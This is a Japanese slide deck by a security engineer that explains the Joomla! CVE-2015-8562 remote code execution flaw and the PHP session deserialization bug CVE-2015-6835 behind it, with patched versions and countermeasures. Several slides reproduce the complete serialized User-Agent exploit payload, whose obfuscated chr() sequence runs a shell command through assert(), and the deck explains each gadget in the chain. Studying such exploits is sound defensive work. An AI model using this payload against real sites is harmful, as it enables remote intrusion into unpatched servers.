2.5K Views
May 08, 23
スライド概要
本資料はslideshareに掲載していたスライドを移行したものです。
CVE-2015-8562の脆弱性について調査・検証した内容をまとめたものになります。
本資料は、作成者の勉強の一環として調査・検証したものになります。間違った解釈をしている場合は、ご指摘いただければ幸いです。
都内で働くセキュリティエンジニア
CVE-2015-8562 について 2016/10/17 yiwama
目次 • はじめに • 脆弱性 概要 • 脆弱性 対策 • 脆弱性 仕組み • あとがき • 参考ページ 2
はじめに • タイトルで挙げているCVE-2015-8562はJoomla!固有の脆弱性です。 • 2015年報告された脆弱性ですが、JPCERT/CCより2016年9月27日に注 意喚起として当該脆弱性が再忠告されました。 • Web サイトで使用されるソフトウエアの脆弱性を悪用した攻撃に関する 注意喚起 https://www.jpcert.or.jp/at/2016/at160036.html • 本資料は、作成者の勉強の一環として調査・検証したものになります。 間違った解釈をしている場合は、ご指摘いただければ幸いです。 3
脆弱性 概要 • JPCERT/CCより注意喚起された当該脆弱性は、 CVE-2015-8562で管理されておりJoomla! 固有の脆弱性です。 • 同時に当該脆弱性は、PHPの脆弱性であるCVE-2015-6835を利用しているものであり、 両方の脆弱性が存在しているシステムに影響があります。 • 修正されたバージョン • PHP • バージョン 5.4.45 以上 • バージョン 5.5.29 以上 • バージョン 5.6.13 以上 • なお、PHP の各バージョンにおけるサポートに対する注意が、PHP か ら発表されています。サポートが終了し ている PHP 5.4.x および PHP 5.5.x のバージョンを利用している場合には、サポートが継続してい るバージョン へのアップデートをお勧めします。 • バージョン 5.4.x のサポートは、2015年9月で終了しています • バージョン 5.5.x のサポートは、2016年7月で終了しています • Joomla! • バージョン 3.4.6 以上 4
脆弱性 対策 • Web アプリケーションおよびそれが使用しているソフトウエアを最新版 に 更新する • Web Application Firewall (WAF) などを用いて、 脆弱性を悪用する攻撃パケットを遮断する 5
脆弱性 仕組み • 簡単に言うと… User-Agentの入力値を検証していない! PHPの脆弱性をつくことができる! 任意のコマンドが実行可能! 6
脆弱性 仕組み
User-Agentに何入れるの?
こんなの
UserAgent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":
0:{}s:21:"¥0¥0¥0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitiz
e";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:248:"eval(chr(115).chr(121).ch
r(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(116).chr(111).chr(117).chr(99
).chr(104).chr(32).chr(47).chr(116).chr(109).chr(112).chr(47).chr(102).chr(120).chr(
116).chr(39).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_functio
n";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{
}}i:1;s:4:"init";}}s:13:"¥0¥0¥0connection";b:1;}ðýýý
7
脆弱性 仕組み ??? 8
脆弱性 仕組み 脆弱性の説明の前に 各ソフトウェアの仕様を 理解 9
脆弱性 仕組み JOOMLA!の仕様 Joomla!のUser-Agentは、セッション変数に格納される。 デフォルトでは、セッションはMySQLのストレージに保存され る。 セッション変数は MySQLで管理 User-Agentを含む 色々な情報を送信 一般ユーザ Joomla! (Webサーバ) ※PHPで動作 MySQL (DB) 10
脆弱性 仕組み PHPの仕様 セッション変数とは? セッションIDと紐づけてサーバ側で管理する値の事。 様々な型の値がセッション変数には格納されるため、シリアライズとデシリアライズが内部では行われる。 101010 1010 AbCdEf GhIjK シリアライズ バイナリ 文字列(String) 012345 6789 数値(intger) オブジェクト session_encode 1010101010 AbCdEfGhIjK 0123456789 シリアライズさ れたデータ 11
脆弱性 仕組み PHPの仕様 PHPで実際のシリアライズの挙動を確認する 文字列,数値,配列,オブジェクトを変 数に代入 代入した変数を セッション変数に代入 シリアライズしたデータをダンプ 12
脆弱性 仕組み PHPの仕様 PHPで実際のシリアライズの挙動を確認する 結果: _default|a:5:{s:6:"string";s:11:"Mozilla/5.0";s:6:"number";i:10 0;s:4:"bool";b:1;s:5:"array";a:0:{}s:6:"object";O:6:"Class1":1:{s: 15:"Class1private";s:3:"prv";}} 13
脆弱性 仕組み PHPの仕様 PHPで実際のシリアライズの挙動を確認する 結果の解析 データの型:データの長さ セミコロンでデータの境界を判別 _default|a:5:{s:6:"string";s:11:"Mozilla/5.0";s:6:"number";i:10 0;s:4:"bool";b:1;s:5:"array";a:0:{}s:6:"object";O:6:"Class1":1:{s: 15:"Class1private";s:3:"prv";}} SはString(文字列) 6は6文字 実際のデータは “String” ※文字列で6文字 14
脆弱性 仕組み PHPの仕様 シリアライズはsession_encode()関数で実装されており、 デシリアライズはsession_decode()関数で実装されている。 何が問題か? →ここまでは問題ない。 もう少し仕様の話が続きます。 15
脆弱性 仕組み MYSQLの仕様 MySQLのデフォルトでは、UTF-8の4バイト形式が含まれてい ると、それ以降をカットする仕様が存在する。 𠮷はutf-8で4byte 16
脆弱性 仕組み CVE-2015-6835 PHPのセッションの仕様と MySQLのカット仕様を組み合わせると CVE-2015-6835の脆弱性を悪用できる! 17
脆弱性 仕組み 各仕様の復習 Session_encodeでシリアライズされたデータは、デシリアライズ されても前の型情報を記憶している。 データ (文字列) シリアライズデータ (文字列) データ (文字列) データ (数値) シリアライズデータ (文字列) データ (数値) Session_encode でシリアライズ Session_decode でデシリアライズ 18
脆弱性 仕組み 各仕様の復習 シリアライズデータをsession_encodeでシリアライズした場合も、 デシリアライズしても前の型情報(文字列)を記憶する。 シリアライズデータ (文字列) デシリアライズするとオブ ジェクト シリアライズデータ (文字列) シリアライズデータ (文字列) デシリアライズするとオブ ジェクト 19
脆弱性 仕組み CVE-2015-6835 しかし、シリアライズデータをsession_encodeでシリアライズ後、 末尾の文字列を切り取るとシリアライズデータが展開されてし まう!(CVE-2015-6835の脆弱性) デシリアライズの前に末 尾の文字切り取り シリアライズデータ (文字列) シリアライズデータ (文字列) データ (オブジェクト) デシリアライズするとオブ ジェクト 20 末尾文字列切取= MySQLの仕様で悪用可!
脆弱性 仕組み CVE-2015-6835 検証内容 Stage1:session_encodeしたセッション変数をダンプ Stage2:𠮷野家を切り取りしたセッション変数をダンプ Stage3:session_decodeしたセッション変数をダンプ MySQLの仕様で文字列切 り取りと同じ 21
脆弱性 仕組み CVE-2015-6835
Stage 1======================================
string(66) "example|s:50:"user_agent|O:4:"Obj1":1:{s:3:"pub";i:1;}𠮷野家";"
=============================================
Stage 2======================================
string(56) "example|s:50:"user_agent|O:4:"Obj1":1:{s:3:"pub";i:1;}";"
=============================================
Stage 3======================================
array(2) {
["example"]=>
NULL
展開されてる!
["50:"user_agent"]=>
object(Obj1)#1 (1) {
["pub"]=>
int(1)
}
}
=============================================
22
脆弱性 仕組み CVE-2015-6835 つまりオブジェクトを挿入できるという事。 オブジェクトインジェクション 23
脆弱性 仕組み CVE-2015-6835 任意のオブジェクトを 挿入できるって事!?怖い! 違います 24
脆弱性 仕組み CVE-2015-6835 CVE-2015-6835の脆弱性によるオブジェクトインジェクションで参照できるオ ブジェクトは、コード内で明示されたオブジェクトのみ参照することができる。 新しくオブジェクトを作成することはできない。 また、任意のメソッドの呼び出しや参照はできない。 25
脆弱性 仕組み CVE-2015-6835 オブジェクトインジェクションしたオブジェクトは、 コード内で明示されているもの。 26
脆弱性 仕組み CVE-2015-6835 既存のオブジェクトしか参照できない。 任意のメソッドは参照できない。 どうやって悪用するのか? デストラクタを利用する。 27
脆弱性 仕組み CVE-2015-6835 デストラクタとは? デストラクタメソッドは、 特定のオブジェクトを参照するリファレンスがひとつもなくなっ たときにコールされます。 あるいは、スクリプトの終了時にも順不同でコールされます。 (PHPリファレンスより) つまり、参照された時点でデストラクタは必ずコールされる。 28
脆弱性 仕組み CVE-2015-8562
今回の脆弱性の攻撃コードを再掲示
UserAgent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}
s:21:"¥0¥0¥0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:2
0:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:248:"eval(chr(115).chr(121).chr(115).ch
r(116).chr(101).chr(109).chr(40).chr(39).chr(116).chr(111).chr(117).chr(99).chr(104).c
hr(32).chr(47).chr(116).chr(109).chr(112).chr(47).chr(102).chr(120).chr(116).chr(39).c
hr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:
5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13
:"¥0¥0¥0connection";b:1;}ðýýý
29
脆弱性 仕組み 攻撃コードを理解
今回の脆弱性の攻撃コードを再掲示
攻撃コード全体が既にシリアライズされているデータ
UserAgent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}
s:21:"¥0¥0¥0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:2
0:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:248:"eval(chr(115).chr(121).chr(115).ch
r(116).chr(101).chr(109).chr(40).chr(39).chr(116).chr(111).chr(117).chr(99).chr(104).c
hr(32).chr(47).chr(116).chr(109).chr(112).chr(47).chr(102).chr(120).chr(116).chr(39).c
hr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:
5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13
:"¥0¥0¥0connection";b:1;}ðýýý
MySQLに格納した際に切り取られるUTF-8の4Byte
→PHPの脆弱性CVE-2015-6835を悪用できる状態
30
脆弱性 仕組み 攻撃コードを理解 今回の脆弱性の攻撃コードを再掲示 次にこのクラスに注目 UserAgent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{} s:21:"¥0¥0¥0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:2 0:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:248:"eval(chr(115).chr(121).chr(115).ch r(116).chr(101).chr(109).chr(40).chr(39).chr(116).chr(111).chr(117).chr(99).chr(104).c hr(32).chr(47).chr(116).chr(109).chr(112).chr(47).chr(102).chr(120).chr(116).chr(39).c hr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s: 5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13 :"¥0¥0¥0connection";b:1;}ðýýý 31
脆弱性 仕組み 攻撃コードを理解 JDatabaseDriverMysqliは、デストラクタでdisconnectが実行される。 Discconectでは、call_user_func_arrayが呼ばれるので、これを利用する。 デストラクタ内でdisconnect()呼び出し Disconnect内でcall_user_func_array関数実行 call_user_func_arrayの$hに配列をセットすると、クラ スとメソッドを指定して実行できるようになる。 32
脆弱性 仕組み 攻撃コードを理解 今回の脆弱性の攻撃コードを再掲示 • JDatabaseDriverMysqliのデストラクタで実行されるdisconnectでcall_user_func_arrayが呼ばれ る。 • call_user_func_arrayの$hに配列をセットすると、クラスとメソッドを指定して実行できるように なる。 $hにセットする配列を指定 このクラスに注目 UserAgent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{} s:21:"¥0¥0¥0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O: 20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:248:"eval(chr(115).chr(121).chr(115).c hr(116).chr(101).chr(109).chr(40).chr(39).chr(116).chr(111).chr(117).chr(99).chr(104). chr(32).chr(47).chr(116).chr(109).chr(112).chr(47).chr(102).chr(120).chr(116).chr(39). chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s: 5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13 :"¥0¥0¥0connection";b:1;}ðýýý このメソッドに注目 33
脆弱性 仕組み 攻撃コードを理解 call_user_func_arrayの$hにSimplePieとinitを指定することで、下図のメソッドが実行さ れる。 initの中のcall_user_funcを実行したいが、直前のif文の$this->cacheと $parsed_feed_url[‘scheme’]を抜けたい。(他は特に仕込まなくても突破できる.) 邪魔。突破したい この関数を実行したい Call_user_funcは$cache_name_functionに関数名を、$feed_urlに引数をセットすると、指定され た関数を引数付で実行する。 34
脆弱性 仕組み 攻撃コードを理解 $parsed_feed_urlは以下のように定義されている Parse_urlメソッドを呼び出し 加えて$feed_urlを使用している SimplePie_IRIをインスタンス化 クラス名と同名のメソッドはコンストラクタとして動作 (クラスが参照されたら必ず最初に実行される) Parse_iriを呼び出し 正規表現にかける リターン値(これが欲しい) 35
脆弱性 仕組み 攻撃コードを理解 正規表現を抜けるためには、: / ? # 以外の文字が1文字以上の後、: が続く必要がある UserAgent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory": 0:{}s:21:"¥0¥0¥0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"saniti ze";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:248:"eval(chr(115).chr(121).c hr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(116).chr(111).chr(117).chr(9 9).chr(104).chr(32).chr(47).chr(116).chr(109).chr(112).chr(47).chr(102).chr(120).ch r(116).chr(39).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_funct ion";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql": 0:{}}i:1;s:4:"init";}}s:13:"¥0¥0¥0connection";b:1;}ðýýý 赤字部分が$parsed_feed_urlに入る 値。加えてcall_user_funcの引数値 赤太文字部分は、前ページの正規 表現を抜けるためのダミー。実行 36 はされない。
脆弱性 仕組み 攻撃コードを理解
$this->cacheは空文字じゃなければいいので、バイナリの1を挿入
UserAgent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":
0:{}s:21:"¥0¥0¥0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"saniti
ze";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:248:"eval(chr(115).chr(121).c
hr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(116).chr(111).chr(117).chr(9
9).chr(104).chr(32).chr(47).chr(116).chr(109).chr(112).chr(47).chr(102).chr(120).ch
r(116).chr(39).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_functi
on";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0
:{}}i:1;s:4:"init";}}s:13:"¥0¥0¥0connection";b:1;}ðýýý
$parsed_feed_urlと$this->cacheは、抜ける事ができたのでCall_user_funcの
$cache_name_functionに関数名を、$feed_urlに引数をセットし、任意の関数
を引数付で実行する。
37
脆弱性 仕組み 攻撃コードを理解 今回の脆弱性の攻撃コードを再掲示 • JDatabaseDriverMysqliのデストラクタで実行されるdisconnectでcall_user_func_arrayが呼ばれる。 • call_user_func_arrayの$hに配列をセットすると、クラスとメソッドを指定して実行できるようになる。 • cache_name_functionに関数名を、$feed_urlに引数をセットし、任意の関数を引数 付で実行する。 引数 UserAgent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{} s:21:"¥0¥0¥0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O: 20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:248:"eval(chr(115).chr(121).chr(115).c hr(116).chr(101).chr(109).chr(40).chr(39).chr(116).chr(111).chr(117).chr(99).chr(104). chr(32).chr(47).chr(116).chr(109).chr(112).chr(47).chr(102).chr(120).chr(116).chr(39). chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s :5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:1 3:"¥0¥0¥0connection";b:1;}ðýýý 関数名指定 38 指定しているのはassert関数
脆弱性 仕組み 攻撃コードを理解 assert関数は文字列を指定するとPHPコードとして評価(つまり実行)される。(eval 関数も同じです。) feed_urlで指定された文字列がassert関数の引数で実行される。 →つまり引数の内容がPHPコードとして実行される。 引数の中身 eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(116).chr(111 ).chr(117).chr(99).chr(104).chr(32).chr(47).chr(116).chr(109).chr(112).chr(47).chr(102).chr( 120).chr(116).chr(39).chr(41).chr(59)); ちなみにassert関数を経由せずにeval関数を実行することはできない。 Call_user_func関数はコールバック可能な関数のみ呼び出すが、eval関数はコー 39 ルバックできないため。
脆弱性 仕組み 攻撃コードを理解 Evalの中身のchr関数は引数の文字コードに対応する文字に変換する。 変換すると以下のようになる。 system('touch /tmp/fxt'); System関数とは、引数で指定した文字列をシェルコマンドで実行する。 …つまり任意のコマンドを実行可能! 40
あとがき 複数のソフトウェアの仕様を理解したうえで、脆弱性を組み合わせた攻撃。 しかし、リモートから任意の実行が可能かつ攻撃コードが公開されているた め攻撃が非常に容易、おまけにMetasploitのモジュールで再現可能と凶悪 な脆弱性でした。 ソフトウェア特有の関数を利用した攻撃の類は、専用の検知モジュールが無 い限り、WAFもスキャナーも検知できないと思われるため、ゼロデイの威力も 計り知れないものでした。 41
参考ページ Web サイトで使用されるソフトウエアの脆弱性を悪用した攻撃に関する 脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに 注意喚起 http://www.slideshare.net/ockeghem/joomlacve20158562 https://www.jpcert.or.jp/at/2016/at160036.html Use after free vulnerability in session deserializer PHPのunserialize関数に外部由来の値を処理させると脆弱性の原因に https://bugs.php.net/bug.php?id=70219 なる http://blog.tokumaru.org/2015/07/phpunserialize.html PHPにおけるオブジェクトインジェクション脆弱性について post http://blog.a-way-out.net/blog/2014/07/22/php-object-injection/ Joomla! 1.5 < 3.4.5 - Object Injection Remote Command Execution https://www.exploit-db.com/exploits/38977/ Joomla!の「ゼロデイコード実行脆弱性」はPHPの既知の脆弱性が原因 PHP Session Deserializer - Use-After-Free https://www.exploit-db.com/exploits/38123/ Use After Freeとヒープスプレー (1/3) http://www.atmarkit.co.jp/ait/articles/1409/22/news010.html unserialize http://php.net/manual/ja/function.unserialize.php http://blog.tokumaru.org/2015/12/joomla-zero-day-attack-caused- joomla/joomla-cms(GitHub) by-php.html https://github.com/joomla/joomla-cms A Different Kind of POP: The Joomla Unserialize Vulnerability https://blog.cloudflare.com/the-joomla-unserialize-vulnerability/ オブジェクトのシリアライズ http://php.net/manual/ja/language.oop5.serialization.php In-depth analyses of the Joomla! 0-day User-Agent exploit https://blog.patrolserver.com/2015/12/17/in-depth-analyses-of-thejoomla-0-day-user-agent-exploit/ 42